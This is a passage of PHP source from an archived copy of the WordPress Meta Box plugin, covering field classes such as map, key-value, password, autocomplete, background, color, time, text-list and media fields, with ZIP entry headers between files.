			'unique_filename_callback' => $field['unique_filename_callback'],
		];
		$file_info = wp_handle_upload( $file, $overrides );
		remove_filter( 'upload_dir', $filter_upload_dir );

		return empty( $file_info['url'] ) ? null : $file_info['url'];
	}

	public static function convert_path_to_url( string $path ) : string {
		$path          = wp_normalize_path( untrailingslashit( $path ) );
		$root          = wp_normalize_path( untrailingslashit( ABSPATH ) );
		$relative_path = str_replace( $root, '', $path );

		return home_url( $relative_path );
	}
}
PK     N\!    -  inc/dashboard/lib/meta-box/inc/fields/osm.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The Open Street Map field.
 */
class RWMB_OSM_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		self::enqueue_map_assets();

		wp_enqueue_style( 'rwmb-osm', RWMB_CSS_URL . 'osm.css', [ 'leaflet' ], RWMB_VER );
		wp_style_add_data( 'rwmb-osm', 'path', RWMB_CSS_DIR . 'osm.css' );
		wp_enqueue_script( 'rwmb-osm', RWMB_JS_URL . 'osm.js', [ 'jquery', 'jquery-ui-autocomplete', 'leaflet' ], RWMB_VER, true );

		RWMB_Helpers_Field::localize_script_once( 'rwmb-osm', 'RWMB_Osm', [
			'no_results_string' => __( 'No results found', 'meta-box' ),
		] );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$address = is_array( $field['address_field'] ) ? implode( ',', $field['address_field'] ) : $field['address_field'];
		$html    = sprintf(
			'<div class="rwmb-osm-field" data-address-field="%s">',
			esc_attr( $address )
		);

		$attributes          = self::get_attributes( $field, $meta );
		$attributes['type']  = 'hidden';
		$attributes['value'] = $meta;

		$html .= sprintf(
			'<div class="rwmb-osm-canvas" data-default-loc="%s" data-region="%s" data-language="%s"></div>
			<input %s>',
			esc_attr( $field['std'] ),
			esc_attr( $field['region'] ),
			esc_attr( $field['language'] ),
			self::render_attributes( $attributes )
		);

		$html .= '</div>';

		return $html;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'std'           => '',
			'address_field' => '',
			'language'      => '',
			'region'        => '',
		] );

		return $field;
	}

	/**
	 * Get the field value.
	 * The difference between this function and 'meta' function is 'meta' function always returns the escaped value
	 * of the field saved in the database, while this function returns more meaningful value of the field.
	 *
	 * @param  array    $field   Field parameters.
	 * @param  array    $args    Not used for this field.
	 * @param  int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return mixed Array(latitude, longitude, zoom)
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		$value = parent::get_value( $field, $args, $post_id );

		if ( is_array( $value ) ) {
			$location = [];
			foreach ( $value as $clone ) {
				list( $latitude, $longitude, $zoom ) = explode( ',', $clone . ',,' );
				$location[]                            = compact( 'latitude', 'longitude', 'zoom' );
			}
			return $location;
		}

		list( $latitude, $longitude, $zoom ) = explode( ',', $value . ',,' );
		return compact( 'latitude', 'longitude', 'zoom' );
	}

	/**
	 * Format value before render map
	 * @param mixed $field
	 * @param mixed $value
	 * @param mixed $args
	 * @param mixed $post_id
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ): string {
		return self::render_map( $value, $args );
	}

	/**
	 * Render a map in the frontend.
	 *
	 * @param string|array $location The "latitude,longitude[,zoom]" location.
	 * @param array  $args     Additional arguments for the map.
	 *
	 * @return string
	 */
	public static function render_map( $location, $args = [] ) {
        // For compatibility with previous version, or within groups.
		if ( is_string( $location ) ) {
			list( $latitude, $longitude, $zoom ) = explode( ',', $location . ',,' );
		} else {
			extract( $location );
		}

        if ( ! $latitude || ! $longitude ) {
            return '';
        }

		$args = wp_parse_args( $args, [
			'latitude'     => $latitude,
			'longitude'    => $longitude,
			'width'        => '100%',
			'height'       => '480px',
			'marker'       => true, // Display marker?
			'marker_title' => '', // Marker title, when hover.
			'info_window'  => '', // Content of info window (when click on marker). HTML allowed.
			'js_options'   => [],
			'zoom'         => $zoom,
		] );

		self::enqueue_map_assets();
		wp_enqueue_script( 'rwmb-osm-frontend', RWMB_JS_URL . 'osm-frontend.js', [ 'jquery', 'leaflet' ], RWMB_VER, true );
		wp_enqueue_style( 'rwmb-osm-frontend', RWMB_CSS_URL . 'osm-frontend.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-osm-frontend', 'path', RWMB_CSS_DIR . 'osm-frontend.css' );

		/*
		 * More Open Street Map options
		 * @link https://leafletjs.com/reference-1.5.0.html#map-option
		 */
		$args['js_options'] = wp_parse_args( $args['js_options'], [
			// Default to 'zoom' level set in admin, but can be overwritten.
			'zoom' => $args['zoom'],
		] );

		$output = sprintf(
			'<div class="rwmb-osm-canvas" data-osm_options="%s" style="width:%s;height:%s"></div>',
			esc_attr( wp_json_encode( $args ) ),
			esc_attr( $args['width'] ),
			esc_attr( $args['height'] )
		);
		return $output;
	}

	private static function enqueue_map_assets() {
		wp_enqueue_style( 'leaflet', 'https://unpkg.com/leaflet@1.9.4/dist/leaflet.css', [], '1.9.4' );
		wp_enqueue_script( 'leaflet', 'https://unpkg.com/leaflet@1.9.4/dist/leaflet.js', [], '1.9.4', true );
	}
}
PK     N\_     3  inc/dashboard/lib/meta-box/inc/fields/key-value.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The key-value field which allows users to add pairs of keys and values.
 */
class RWMB_Key_Value_Field extends RWMB_Input_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-key-value', RWMB_CSS_URL . 'key-value.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-key-value', 'path', RWMB_CSS_DIR . 'key-value.css' );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		// Key.
		$key                       = isset( $meta[0] ) ? $meta[0] : '';
		$attributes                = self::get_attributes( $field, $key );
		$attributes['placeholder'] = $field['placeholder']['key'];
		$html                      = sprintf( '<input %s>', self::render_attributes( $attributes ) );

		// Value.
		$val                       = isset( $meta[1] ) ? $meta[1] : '';
		$attributes                = self::get_attributes( $field, $val );
		$attributes['placeholder'] = $field['placeholder']['value'];
		$html                     .= sprintf( '<input %s>', self::render_attributes( $attributes ) );

		return $html;
	}

	protected static function begin_html( array $field ) : string {
		$desc = $field['desc'] ? "<p id='{$field['id']}_description' class='description'>{$field['desc']}</p>" : '';

		if ( empty( $field['name'] ) ) {
			return '<div class="rwmb-input">' . $desc;
		}

		return sprintf(
			'<div class="rwmb-label">
				<label for="%s">%s</label>
			</div>
			<div class="rwmb-input">
			%s',
			$field['id'],
			$field['name'],
			$desc
		);
	}

	protected static function input_description( array $field ) : string {
		return '';
	}

	/**
	 * Sanitize field value.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return array
	 */
	public static function value( $new, $old, $post_id, $field ) {
		foreach ( $new as &$arr ) {
			if ( empty( $arr[0] ) && empty( $arr[1] ) ) {
				$arr = false;
			}
		}
		$new = array_filter( $new );
		return $new;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field['clone']    = true;
		$field['multiple'] = true;
		$field             = parent::normalize( $field );

		$field['attributes']['type'] = 'text';
		$field['placeholder']        = wp_parse_args( (array) $field['placeholder'], [
			'key'   => __( 'Key', 'meta-box' ),
			'value' => __( 'Value', 'meta-box' ),
		] );
		return $field;
	}

	/**
	 * Format value for the helper functions.
	 *
	 * @param array        $field   Field parameters.
	 * @param string|array $value   The field meta value.
	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null     $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_clone_value( $field, $value, $args, $post_id ) {
		return sprintf( '<label>%s:</label> %s', $value[0], $value[1] );
	}
}
PK     N\)/    2  inc/dashboard/lib/meta-box/inc/fields/password.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The secured password field.
 */
class RWMB_Password_Field extends RWMB_Input_Field {
	/**
	 * Store secured password in the database.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 * @return string
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$new = $new !== $old ? wp_hash_password( $new ) : $new;
		return $new;
	}
}
PK     N\5na  a  0  inc/dashboard/lib/meta-box/inc/fields/choice.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The abstract choice field.
 */
abstract class RWMB_Choice_Field extends RWMB_Field {
	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		return '';
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'flatten' => true,
			'options' => [],
		] );

		// Use callback: function_name format from Meta Box Builder.
		if ( isset( $field['_callback'] ) && is_callable( $field['_callback'] ) ) {
			$field['options'] = call_user_func( $field['_callback'] );
		}

		return $field;
	}

	public static function transform_options( $options ) : array {
		$transformed = [];
		$options     = (array) $options;
		foreach ( $options as $value => $label ) {
			$option = is_array( $label ) ? $label : [
				'label' => (string) $label,
				'value' => (string) $value,
			];
			if ( isset( $option['label'] ) && isset( $option['value'] ) ) {
				$transformed[ $option['value'] ] = (object) $option;
			}
		}
		return $transformed;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		$options = self::transform_options( $field['options'] );
		return isset( $options[ $value ] ) ? $options[ $value ]->label : '';
	}
}
PK     N\[O    6  inc/dashboard/lib/meta-box/inc/fields/autocomplete.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The autocomplete field.
 */
class RWMB_Autocomplete_Field extends RWMB_Multiple_Values_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-autocomplete', RWMB_CSS_URL . 'autocomplete.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-autocomplete', 'path', RWMB_CSS_DIR . 'autocomplete.css' );
		wp_enqueue_script( 'rwmb-autocomplete', RWMB_JS_URL . 'autocomplete.js', [ 'jquery-ui-autocomplete' ], RWMB_VER, true );

		RWMB_Helpers_Field::localize_script_once( 'rwmb-autocomplete', 'RWMB_Autocomplete', [
			'delete' => __( 'Delete', 'meta-box' ),
		] );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		if ( ! is_array( $meta ) ) {
			$meta = [ $meta ];
		}

		// Filter out empty values in case the array started with empty or 0 values
		$meta = array_filter( $meta, function ( $index ) use ( $meta ) {
			return $meta[ $index ] !== '';
		}, ARRAY_FILTER_USE_KEY );

		$field   = apply_filters( 'rwmb_autocomplete_field', $field, $meta );
		$options = $field['options'];

		if ( is_array( $field['options'] ) ) {
			$options = [];
			foreach ( $field['options'] as $value => $label ) {
				$options[] = [
					'value' => (string) $value,
					'label' => $label,
				];
			}
			$options = wp_json_encode( $options );
		}

		// Input field that triggers autocomplete.
		// This field doesn't store field values, so it doesn't have "name" attribute.
		// The value(s) of the field is store in hidden input(s). See below.
		$html = sprintf(
			'<input type="text" class="rwmb-autocomplete-search">
			<input type="hidden" name="%s" class="rwmb-autocomplete" data-options="%s" disabled>',
			esc_attr( $field['field_name'] ),
			esc_attr( $options )
		);

		$html .= '<div class="rwmb-autocomplete-results">';

		// Each value is displayed with label and 'Delete' option.
		// The hidden input has to have ".rwmb-*" class to make clone work.
		$tpl = '
			<div class="rwmb-autocomplete-result">
				<div class="label">%s</div>
				<div class="actions">%s</div>
				<input type="hidden" class="rwmb-autocomplete-value" name="%s" value="%s">
			</div>
		';

		if ( is_array( $field['options'] ) ) {
			foreach ( $field['options'] as $value => $label ) {
				if ( ! in_array( $value, $meta ) ) {
					continue;
				}
				$html .= sprintf(
					$tpl,
					esc_html( $label ),
					esc_html__( 'Delete', 'meta-box' ),
					esc_attr( $field['field_name'] ),
					esc_attr( $value )
				);
			}
		} else {
			$meta = array_filter( $meta );
			foreach ( $meta as $value ) {
				$label = apply_filters( 'rwmb_autocomplete_result_label', $value, $field );
				$html .= sprintf(
					$tpl,
					esc_html( $label ),
					esc_html__( 'Delete', 'meta-box' ),
					esc_attr( $field['field_name'] ),
					esc_attr( $value )
				);
			}
		}

		$html .= '</div>'; // .rwmb-autocomplete-results.

		return $html;
	}
}
PK     N\%mWE  E  4  inc/dashboard/lib/meta-box/inc/fields/background.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The background field.
 */
class RWMB_Background_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-background', RWMB_CSS_URL . 'background.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-background', 'path', RWMB_CSS_DIR . 'background.css' );

		$args  = func_get_args();
		$field = reset( $args );
		$color = RWMB_Color_Field::normalize( [
			'type'          => 'color',
			'id'            => "{$field['id']}_color",
			'field_name'    => "{$field['field_name']}[color]",
			'alpha_channel' => true,
		] );
		RWMB_Color_Field::admin_enqueue_scripts( $color );
		RWMB_File_Input_Field::admin_enqueue_scripts();
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field settings.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$meta = wp_parse_args( $meta, [
			'color'      => '',
			'image'      => '',
			'repeat'     => '',
			'attachment' => '',
			'position'   => '',
			'size'       => '',
		] );

		$output = '<div class="rwmb-background-row">';

		// Color.
		$color   = RWMB_Color_Field::normalize( [
			'type'          => 'color',
			'id'            => "{$field['id']}_color",
			'field_name'    => "{$field['field_name']}[color]",
			'alpha_channel' => true,
		] );
		$output .= RWMB_Color_Field::html( $meta['color'], $color );

		$output .= '</div><!-- .rwmb-background-row -->';
		$output .= '<div class="rwmb-background-row">';

		// Image.
		$image   = RWMB_File_Input_Field::normalize( [
			'type'        => 'file_input',
			'id'          => "{$field['id']}_image",
			'field_name'  => "{$field['field_name']}[image]",
			'placeholder' => __( 'Background Image', 'meta-box' ),
		] );
		$output .= RWMB_File_Input_Field::html( $meta['image'], $image );

		$output .= '</div><!-- .rwmb-background-row -->';
		$output .= '<div class="rwmb-background-row">';

		// Repeat.
		$repeat  = RWMB_Select_Field::normalize( [
			'type'        => 'select',
			'id'          => "{$field['id']}_repeat",
			'field_name'  => "{$field['field_name']}[repeat]",
			'placeholder' => esc_html__( '-- Repeat --', 'meta-box' ),
			'options'     => [
				'no-repeat' => esc_html__( 'No Repeat', 'meta-box' ),
				'repeat'    => esc_html__( 'Repeat All', 'meta-box' ),
				'repeat-x'  => esc_html__( 'Repeat Horizontally', 'meta-box' ),
				'repeat-y'  => esc_html__( 'Repeat Vertically', 'meta-box' ),
				'inherit'   => esc_html__( 'Inherit', 'meta-box' ),
			],
		] );
		$output .= RWMB_Select_Field::html( $meta['repeat'], $repeat );

		// Position.
		$position = RWMB_Select_Field::normalize( [
			'type'        => 'select',
			'id'          => "{$field['id']}_position",
			'field_name'  => "{$field['field_name']}[position]",
			'placeholder' => esc_html__( '-- Position --', 'meta-box' ),
			'options'     => [
				'top left'      => esc_html__( 'Top Left', 'meta-box' ),
				'top center'    => esc_html__( 'Top Center', 'meta-box' ),
				'top right'     => esc_html__( 'Top Right', 'meta-box' ),
				'center left'   => esc_html__( 'Center Left', 'meta-box' ),
				'center center' => esc_html__( 'Center Center', 'meta-box' ),
				'center right'  => esc_html__( 'Center Right', 'meta-box' ),
				'bottom left'   => esc_html__( 'Bottom Left', 'meta-box' ),
				'bottom center' => esc_html__( 'Bottom Center', 'meta-box' ),
				'bottom right'  => esc_html__( 'Bottom Right', 'meta-box' ),
			],
		] );
		$output  .= RWMB_Select_Field::html( $meta['position'], $position );

		// Attachment.
		$attachment = RWMB_Select_Field::normalize( [
			'type'        => 'select',
			'id'          => "{$field['id']}_attachment",
			'field_name'  => "{$field['field_name']}[attachment]",
			'placeholder' => esc_html__( '-- Attachment --', 'meta-box' ),
			'options'     => [
				'fixed'   => esc_html__( 'Fixed', 'meta-box' ),
				'scroll'  => esc_html__( 'Scroll', 'meta-box' ),
				'inherit' => esc_html__( 'Inherit', 'meta-box' ),
			],
		] );
		$output    .= RWMB_Select_Field::html( $meta['attachment'], $attachment );

		// Size.
		$size    = RWMB_Select_Field::normalize( [
			'type'        => 'select',
			'id'          => "{$field['id']}_size",
			'field_name'  => "{$field['field_name']}[size]",
			'placeholder' => esc_html__( '-- Size --', 'meta-box' ),
			'options'     => [
				'inherit' => esc_html__( 'Inherit', 'meta-box' ),
				'cover'   => esc_html__( 'Cover', 'meta-box' ),
				'contain' => esc_html__( 'Contain', 'meta-box' ),
			],
		] );
		$output .= RWMB_Select_Field::html( $meta['size'], $size );
		$output .= '</div><!-- .rwmb-background-row -->';

		return $output;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param array    $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		if ( empty( $value ) ) {
			return '';
		}
		$output = '';
		$value  = array_filter( $value );
		foreach ( $value as $key => $subvalue ) {
			$subvalue = 'image' === $key ? 'url(' . esc_url( $subvalue ) . ')' : $subvalue;
			$output  .= 'background-' . $key . ': ' . $subvalue . ';';
		}
		return $output;
	}
}
PK     N\42K    0  inc/dashboard/lib/meta-box/inc/fields/number.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The number field which uses HTML <input type="number">.
 */
class RWMB_Number_Field extends RWMB_Input_Field {
	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'step' => 1,
			'min'  => 0,
			'max'  => false,
		] );

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes = parent::get_attributes( $field, $value );
		$attributes = wp_parse_args( $attributes, [
			'step' => $field['step'],
			'max'  => $field['max'],
			'min'  => $field['min'],
		] );
		return $attributes;
	}
}
PK     N\l	  	  /  inc/dashboard/lib/meta-box/inc/fields/color.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The color field which uses WordPress color picker to select a color.
 */
class RWMB_Color_Field extends RWMB_Input_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-color', RWMB_CSS_URL . 'color.css', [ 'wp-color-picker' ], RWMB_VER );
		wp_style_add_data( 'rwmb-color', 'path', RWMB_CSS_DIR . 'color.css' );

		$dependencies = [ 'wp-color-picker' ];
		$args         = func_get_args();
		$field        = reset( $args );
		if ( ! empty( $field['alpha_channel'] ) ) {
			wp_enqueue_script( 'wp-color-picker-alpha', RWMB_JS_URL . 'wp-color-picker-alpha/wp-color-picker-alpha.min.js', [ 'wp-color-picker' ], RWMB_VER, true );
			$dependencies = [ 'wp-color-picker-alpha' ];
		}
		wp_enqueue_script( 'rwmb-color', RWMB_JS_URL . 'color.js', $dependencies, RWMB_VER, true );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = wp_parse_args( $field, [
			'alpha_channel' => false,
			'js_options'    => [],
		] );

		$field['js_options'] = wp_parse_args( $field['js_options'], [
			'defaultColor' => false,
			'hide'         => true,
			'palettes'     => true,
		] );

		$field = parent::normalize( $field );

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes         = parent::get_attributes( $field, $value );
		$attributes         = wp_parse_args( $attributes, [
			'data-options' => wp_json_encode( $field['js_options'] ),
		] );
		$attributes['type'] = 'text';

		if ( $field['alpha_channel'] ) {
			$attributes['data-alpha-enabled']    = 'true';
			$attributes['data-alpha-color-type'] = 'hex';
		}

		return $attributes;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return sprintf( "<span style='display:inline-block;width:20px;height:20px;border-radius:50%%;background:%s;'></span>", $value );
	}
}
PK     N\E)    .  inc/dashboard/lib/meta-box/inc/fields/time.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The time picker field.
 */
class RWMB_Time_Field extends RWMB_Datetime_Field {
	public static function admin_enqueue_scripts() {
		parent::register_assets();
		wp_enqueue_style( 'jquery-ui-timepicker' );
		wp_enqueue_script( 'rwmb-time' );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field                             = parent::normalize( $field );
		$field['js_options']['timeFormat'] = empty( $field['format'] ) ? $field['js_options']['timeFormat'] : $field['format'];
		return $field;
	}

	/**
	 * Returns a date() compatible format string from the JavaScript format.
	 * @link http://www.php.net/manual/en/function.date.php
	 */
	protected static function get_php_format( array $js_options ): string {
		return strtr( $js_options['timeFormat'], self::$time_formats );
	}
}PK     N\Qro  o  3  inc/dashboard/lib/meta-box/inc/fields/text-list.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The text list field which allows users to enter multiple texts.
 */
class RWMB_Text_List_Field extends RWMB_Multiple_Values_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-text-list', RWMB_CSS_URL . 'text-list.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-text-list', 'path', RWMB_CSS_DIR . 'text-list.css' );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		if ( empty( $field['options'] ) ) {
			return '';
		}
		$html  = [];
		$input = '<label><span class="rwmb-text-list-label">%s</span> <input %s></label>';

		$attributes         = self::get_attributes( $field, $meta );
		$attributes['type'] = 'text';

		$count = 0;
		foreach ( $field['options'] as $placeholder => $label ) {
			$attributes['value']       = $meta[ $count ] ?? '';
			$attributes['placeholder'] = $placeholder;

			$html[] = sprintf(
				$input,
				$label,
				self::render_attributes( $attributes )
			);
			$count ++;
		}

		return implode( ' ', $html );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		if ( ! $field['clone'] ) {
			$field['class'] .= ' rwmb-text_list-non-cloneable';
		}
		return $field;
	}

	/**
	 * Set value of meta before saving into database.
	 * Do not save if all inputs has no value.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return mixed
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$filtered = array_filter( $new );
		return count( $filtered ) ? $new : [];
	}

	/**
	 * Format value for the helper functions.
	 *
	 * @param array        $field   Field parameters.
	 * @param string|array $value   The field meta value.
	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null     $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_value( $field, $value, $args, $post_id ) {
		$output = '<table><thead><tr>';
		foreach ( $field['options'] as $label ) {
			$output .= "<th>$label</th>";
		}
		$output .= '</tr></thead><tbody>';

		if ( ! $field['clone'] ) {
			$output .= self::format_single_value( $field, $value, $args, $post_id );
		} else {
			foreach ( $value as $subvalue ) {
				$output .= self::format_single_value( $field, $subvalue, $args, $post_id );
			}
		}
		$output .= '</tbody></table>';
		return $output;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param array    $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		$output = '<tr>';
		foreach ( $value as $subvalue ) {
			$output .= "<td>$subvalue</td>";
		}
		$output .= '</tr>';
		return $output;
	}
}
PK     N\    /  inc/dashboard/lib/meta-box/inc/fields/media.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Media field class which users WordPress media popup to upload and select files.
 */
class RWMB_Media_Field extends RWMB_File_Field {
	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();

		wp_enqueue_media();
		if ( ! is_admin() ) {
			wp_register_script( 'media-grid', includes_url( 'js/media-grid.min.js' ), [ 'media-editor' ], '4.9.7', true );
		}
		wp_enqueue_style( 'rwmb-media', RWMB_CSS_URL . 'media.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-media', 'path', RWMB_CSS_DIR . 'media.css' );
		wp_enqueue_script( 'rwmb-media', RWMB_JS_URL . 'media.js', [ 'jquery-ui-sortable', 'underscore', 'backbone', 'media-grid' ], RWMB_VER, true );

		RWMB_Helpers_Field::localize_script_once( 'rwmb-media', 'i18nRwmbMedia', [
			'add'                => apply_filters( 'rwmb_media_add_string', _x( '+ Add Media', 'media', 'meta-box' ) ),
			'single'             => apply_filters( 'rwmb_media_single_files_string', _x( ' file', 'media', 'meta-box' ) ),
			'multiple'           => apply_filters( 'rwmb_media_multiple_files_string', _x( ' files', 'media', 'meta-box' ) ),
			'remove'             => apply_filters( 'rwmb_media_remove_string', _x( 'Remove', 'media', 'meta-box' ) ),
			'edit'               => apply_filters( 'rwmb_media_edit_string', _x( 'Edit', 'media', 'meta-box' ) ),
			'view'               => apply_filters( 'rwmb_media_view_string', _x( 'View', 'media', 'meta-box' ) ),
			'noTitle'            => _x( 'No Title', 'media', 'meta-box' ),
			'loadingUrl'         => admin_url( 'images/spinner.gif' ),
			'extensions'         => static::get_mime_extensions(),
			'select'             => apply_filters( 'rwmb_media_select_string', _x( 'Select Files', 'media', 'meta-box' ) ),
			'or'                 => apply_filters( 'rwmb_media_or_string', _x( 'or', 'media', 'meta-box' ) ),
			'uploadInstructions' => apply_filters( 'rwmb_media_upload_instructions_string', _x( 'Drop files here to upload', 'media', 'meta-box' ) ),
		] );
	}

	public static function add_actions() {
		add_action( 'print_media_templates', [ get_called_class(), 'print_templates' ] );
	}

	/**
	 * Get meta value.
	 *
	 * @param int   $post_id Post ID.
	 * @param bool  $saved   Whether the meta box is saved at least once.
	 * @param array $field   Field parameters.
	 *
	 * @return mixed
	 */
	public static function meta( $post_id, $saved, $field ) {
		$meta = parent::meta( $post_id, $saved, $field );

		/*
		 * Update meta cache for all attachments, preparing for getting data for rendering in JS.
		 * This reduces the number of queries for updating all attachments' meta.
		 * @see get_attributes()
		 */
		$ids = (array) $meta;
		if ( $field['clone'] ) {
			foreach ( $ids as &$value ) {
				$value = (array) $value;
			}
			$ids = call_user_func_array( 'array_merge', $ids );
		}
		update_meta_cache( 'post', $ids );

		return $meta;
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$attributes = static::get_attributes( $field, $meta );

		$html = sprintf(
			'<input %s data-options="%s">',
			self::render_attributes( $attributes ),
			esc_attr( wp_json_encode( $field['js_options'] ) )
		);

		return $html;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'std'              => [],
			'mime_type'        => '',
			'max_file_uploads' => 0,
			'force_delete'     => false,
			'max_status'       => true,
			'js_options'       => [],
			'add_to'           => 'end',
		] );

		$field['js_options'] = wp_parse_args( $field['js_options'], [
			'mimeType'    => $field['mime_type'],
			'maxFiles'    => $field['max_file_uploads'],
			'forceDelete' => $field['force_delete'],
			'maxStatus'   => $field['max_status'],
			'addTo'       => $field['add_to'],
		] );

		$field['multiple'] = true;

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$value = (array) $value;

		$attributes           = parent::get_attributes( $field, $value );
		$attributes['type']   = 'hidden';
		$attributes['name']   = $field['clone'] ? str_replace( '[]', '', $attributes['name'] ) : $attributes['name'];
		$attributes['id']     = false;
		$attributes['value']  = implode( ',', $value );
		$attributes['class'] .= ' rwmb-media';

		// Add attachment details.
		$attachments                    = array_values( array_filter( array_map( 'wp_prepare_attachment_for_js', $value ) ) );
		$attributes['data-attachments'] = wp_json_encode( $attachments );

